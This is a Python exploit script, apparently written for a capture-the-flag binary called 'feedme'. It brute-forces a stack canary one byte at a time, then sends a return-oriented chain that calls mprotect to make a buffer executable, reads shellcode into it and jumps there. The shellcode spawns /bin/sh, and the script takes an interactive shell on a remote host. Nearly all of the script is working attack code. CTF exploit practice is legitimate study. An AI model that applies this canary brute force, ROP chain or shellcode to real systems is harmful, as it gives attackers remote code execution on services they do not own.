import struct
import pwnbox
import time

p = lambda x : struct.pack("<I", x)
up = lambda x : struct.unpack("<I", x)[0]

mpro_off = 0x0806E390
buf_off = 0x080Eb000
read_off = 0x0806D870
pppr = 0x08048BFC

#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
shellcode = "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd"+"\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

def main():

	a = 0x21
	payload = "A"*0x20
	canary = 0 

	pipe = pwnbox.pipe.ProcessPipe("/home/newbie/0Reinose/2015Summer/feedme")
	pipe = pwnbox.pipe.SocketPipe("remote.goatskin.xyz",30000)

	for i in range(800):
		st = pipe.read_until("FEED ME!")
		pl_len = chr(a)
		pipe.write(pl_len)
		pstring = payload + chr(canary)
		pipe.write(pstring)

		if st.find("bytes!") != -1 and canary>0:
			payload += chr(canary - 1)
			if a == 0x24:
				break
			a += 1
			canary = 0
			continue
			
		canary += 1

	pipe.read_until("FEED ME!")
	payload += ("A"*12+p(mpro_off)+p(pppr)+p(buf_off)+p(0x1000)+p(7)+p(read_off)+p(pppr)+p(0)+p(buf_off)+p(100)+p(buf_off))
	num = chr(len(payload))
	pipe.write(num)
	pipe.write(payload)
	pipe.read_until("...")
	pipe.write(shellcode)
	pipe.interact()
	pipe.close()

	print ""
	exit()

if __name__ == "__main__":
	main()
